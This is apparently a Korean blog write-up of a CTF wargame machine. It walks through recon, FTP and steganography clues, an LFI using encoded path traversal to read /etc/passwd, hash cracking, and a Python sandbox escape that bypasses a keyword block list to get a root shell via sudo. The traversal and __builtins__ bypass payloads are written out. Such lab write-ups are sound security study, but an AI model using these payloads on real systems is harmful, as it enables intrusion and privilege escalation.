[1]Reconnaissance
-psychobreak 문제에서 영감을 받아 만든 Tokyo ghoul 애니메이션 배경의 워 게임이라고 합니다.
-문제엔 질문이 많은데, 과정에서 다 풀 수 있는 질문입니다.
nmap results
sudo nmap -sS -p- --min-rate=10000 {ip_address}
-21번(ftp)과 22(ssh)번, 80(http)번이 열러 있습니다.
sudo nmap -sS -sV -O {ip_address}
-21번 ftp는 vsftpd 3.0.3, 22번 ssh는 OpenSSH 7.2p2 Ubuntu, 80번 http는 Apache httpd 2.4.18 Ubuntu 입니다.
page Analysis
-index.html 에는 줄거리가 적혀있고, Can you help him escape?를 누르면 jasonroom.html 으로 이동합니다.
-주석에는 'anonymous'으로 보이게하는 가면을 쓰고 ftp room에 가보라고 합니다. 아마 ftp에 anonymous로 접근하라는 것 같네요.
-ftp에 anonymous로 접근했으나 need_Help? dir 아래 파일이 많아서 wget -m 으로 dir 자체를 가져왔습니다.
wget -m ftp://anonymous@{ip_address}/
*https://0xffsec.com/handbook/services/ftp/
FTP (File Transfer Protocol) Service Enumeration
FTP (File Transfer Protocol) # At a Glance # Default Port: 21 FTP is a standard network protocol used for the transfer of files between a client and a server on a computer network. FTP is built on a client-server architecture using separate control and dat
0xffsec.com
-wget의 m 옵션은 재귀적으로 모든 하위 디렉토리를 포함하여 원본 디렉토리 구조를 유지하면서 파일을 다운로드합니다.
#'need_Help?'/Aogiri_tree.txt
Why are you so late?? i've been waiting for too long
So i heard you need help to defeat Jason , so i'll help you to do it and i know
you are wondering how i will. help you I knew Rize San more than anyone and she is a part of you, right?
That mean you got her kagune, so you should activate her Kagune and
to do that you should get all control to your body , i'll help you to know Rise san more
and get her kagune , and don't forget you are now a part of the Aogiri tree.
Bye Kaneki
#'need_Help?'/Talk_with_me/rize_and_kaneki.jpg
rize_and_kaneki picture
#'need_Help?'/Talk_with_me/need_to_talk
binary
-어떠한 문장이 필요한 것 같습니다. 일단 뭔지 몰라서 아무거나 적었습니다.
-rabin2 -z 로 프로그램을 살펴보라고 하네요.
-'kamishiro' 라는 단어가 보입니다.
-대강 찾아보니까 Rize 를 수양딸로 키워준 사람이라고 하네요.
-kamishiro를 입력하니 'You_found_1t'이라는 문자열을 줬습니다.
-힌트에 steg 어쩌고를 말했다고 하는 것을 보니 steganography 이용인 것 같습니다.
$ steghide extract -sf rize_and_kaneki.jpg
Enter passphrase: <- "You_found_1t"
wrote extracted data to "yougome.txt".
-모스부호입니다. 이를 해석하면 5A4446794D324D334D484A3558324E6C626E526C63673D3D 가 나옵니다.
-이를 python의 Crypto.Util.number 모듈의 long_to_bytes 로 해석하면 b'ZDFyM2M3MHJ5X2NlbnRlcg==' 라는 값이 나옵니다.
-이를 또 base64.b64decode(b'ZDFyM2M3MHJ5X2NlbnRlcg==')로 해석하면 b'd1r3c70ry_center' 가 나옵니다.
-'if you can talk it allright you got my secret directory' 라는 메세지로 보아 이는 디렉터리 이름인 것 같습니다.
-Scan me라고 적혀있습니다. gobuster로 스캔해봅시다.
-claim이라는 디렉터리가 존재합니다.
[2]Vulnerability&Exploit
LFI
-claim/index.php 엔드포인트로 이동하면 NO와 YES를 누를 수 있는 페이지가 나오는데, 여기서 No를 누르든 YES를 누르든 view 파라미터에 flower.gif 을 전송합니다.
-예전에 푼 문제 'dogcat' 에서 php wrapper를 이용한 LFI 를 사용했던 적이 있었는데, 단순한 path traversal 보다 먼저 생각나서 시도해보았지만 이는 아니었습니다.
*dogcat: https://x4uiry.tistory.com/28
dogcat
[1]AnalysisI made this website for viewing cat and dog images with PHP. If you're feeling down, come look at some dogs/cats! -고양이와 개를 볼 수 있는 페이지를 php로 만들었다고 합니다. nmap results-SYN 스캔으로 포트스캔을
x4uiry.tistory.com
-'../'를 사용하면 'no no no sily don't do that' 이라는 메시지를 출력합니다.
-write up을 쓸 때 생각해보니, 제가 사용한 방법은 ../을 %2e%2e%2f 로 바꿔 보내는 방법이었는데, 아직 이게 왜 된 것인지 잘 모르겠습니다. double Encoding을 사용하여 우회도 가능한데, 이는 %2e를 %252e로 보내어 서버에서 %2e로 해석하게 한 후 이를 다시 decoding하는 과정을 거치는 로직에 삽입하여 상위 디렉터리로 이동하는 우회법입니다. 하지만 그냥 %2e%2e%2f는 '../'와 다를 것이 없습니다.
-/etc/passwd에 접근하면 kamishiro의 비밀번호의 해시처리값을 얻을 수 있습니다.
john the ripper
-hash-identifier로 해시의 종류를 조회해보면 SHA-256 이라는 결과를 얻을 수 있습니다.
-얻은 해시를 hash.txt에 저장합니다.
-john the ripper를 통해 kamishiro의 비밀번호를 복원할 수 있습니다.
privilege escalation
kamishiro@vagrant:~$ sudo -l
[sudo] password for kamishiro:
Matching Defaults entries for kamishiro on vagrant.vm:
env_rest, execmpt_group=sudo, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User kamishiro may run the following commands on vagrant.vm:
(ALL) /usr/bin/python3 /home/kamishiro/jail.py
-kamishiro는 root 권한으로 /home/kamishiro/jail.py 를 /usr/bin/python3로 실행할 수 있습니다.
kamishiro@vagrant:~$ cat jail.py
#! /usr/bin/python3
#-*-coding:utf-8-*-
def main():
print("Hi! Welcome to my world kaneki")
print("================================================================")
Print ("What ? You gonna stand like a chicken ? fight me Kaneki")
text = input ('>>> ')
for keyword in ['eval','exec', 'import', 'open', 'os', 'read', 'system', 'write']:
if key word in text:
print("Do you think i will let you do this ??????")
return;
else:
exec(text)
print('No Kaneki you are so dead')
if __name__ == "__main__":
main()
-eval, exec, import 등을 블랙리스트 필터링하고, 문제가 없다면 exec로 실행시키는 로직입니다.
*bypass python sandbox : https://book.hacktricks.xyz/generic-methodologies-and-resources/python/bypass-python-sandboxes#builtins
Bypass Python sandboxes | HackTricks
This package is called Reverse. However, it was specially crafted so that when you exit the reverse shell the rest of the installation will fail, so you won't leave any extra python package installed on the server when you leave.
book.hacktricks.xyz
__builtins__.__dict__['__import__']("os").system("ls")
-위 게시물에서 'Builtins' 을 이용한 우회방법을 찾았습니다.
-__builtins__는 내장된 모든 함수, 예외, 변수들을 담고 있는 모듈이자 객체입니다. 이를 __dict__로 dictionary 접근을 하며, 키 값을 ['__import__']로 하여 import 함수를 가져옵니다. 여기서 ("os")는 함수의 인자가 됩니다. 이 메소드이자 객체를 .system("ls")로 접근하여 함수를 실행하는 구조입니다.
-하지만 여기서 두 가지 변형을 해야 합니다. 첫 번째로는 import와 os, system에 대한 우회와 이를 위해 .system이 아닌 다른 접근 방식으로 변형해야 한다는 점입니다.
-편하게 실험을 하기 위해 아래와 같은 코드로 변형시켰습니다.
import time
def print_slow(text):
for char in text:
print(char, end='', flush=True)
time.sleep(0.03)
print()
def main():
print_slow("Hi")
print_slow("What? You gonna stand like a chicken? fight me Kaneki")
text = input ('>>> ')
try:
for keyword in ['eval','exec', 'import', 'open', 'os', 'read', 'system', 'write']:
if keyword in text:
print("Do you think i will let you do this??????")
return;
else:
exec(text)
print("No!!!!")
return 1
except:
pass
if __name__ == "__main__":
while(1):
r = main()
[1]dict 변형, getattr 변형
-일단 .system에 대한 변형을 위해 이 단계에서는 keyword를 쓰지 않을 'eval'만 남겨둡니다.
(__builtins__.__dict__['import']('os')).__dict__['system']('ls')
-위에서 __builtins__.__dict__['__import__']("os").system("ls") 에 대한 구문을 설명할 때, import라는 함수에 os라는 인자를 삽입했고, 이를 __dict__로 dictionary 접근을 하고 있다고 했습니다. system 역시 함수이고, ls 역시 인자이므로 __dict__로 dictionary 접근을 할 수 있습니다.
getattr(__builtins__.__dict__['import']('os'), 'system')('ls')
-두 번째 방식은 getattr로 object를 가져와 접근할 속성을 'system'으로 설정하는 방법입니다.
-getattr은 getattr(object, element_name) 로 동작하는데, 위에서 __builtins__.__dict__['__import__']("os") 역시 객체라 하였습니다. 따라서 이 object의 system 속성에 접근하는 getattr 함수를 실행하고 ls 인자를 삽입하여 os.system('ls')를 작동시킵니다.
[2]필터링 우회
-dict 변형 혹은 getattr 변형으로 single quote 안에 요소들을 담은 이유는 모두 필터링 우회를 위함입니다.
-이제 'OS'.lower()처럼 대문자로 삽입하고 소문자 변환을 하거나 'o'+'s'처럼 문자열 합치기로 우회를 할 수 있습니다.
__builtins__.__dict__['__IMPORT__'.lower()]('OS'.lower()).__dict__['sys'+'tem']('/bin/bash')
getattr((__builtins__.__dict__['__imp'+'ort__'])('o'+'s'), 'sYsTem'.lower())('/bin/bash')
-루트 권한을 획득했습니다.
[3]Flag
user.txt
root.txt
'write-up > penetration test' 카테고리의 다른 글
[wargame - pen]HA Joker CTF (1) | 2024.12.13 |
---|---|
[wargame - pen]Cheese CTF (0) | 2024.10.29 |
[wargame - pen]Pyrat (0) | 2024.10.18 |
[pen]Wekor (4) | 2024.10.05 |
[pen]U.A.Highschool (2) | 2024.09.13 |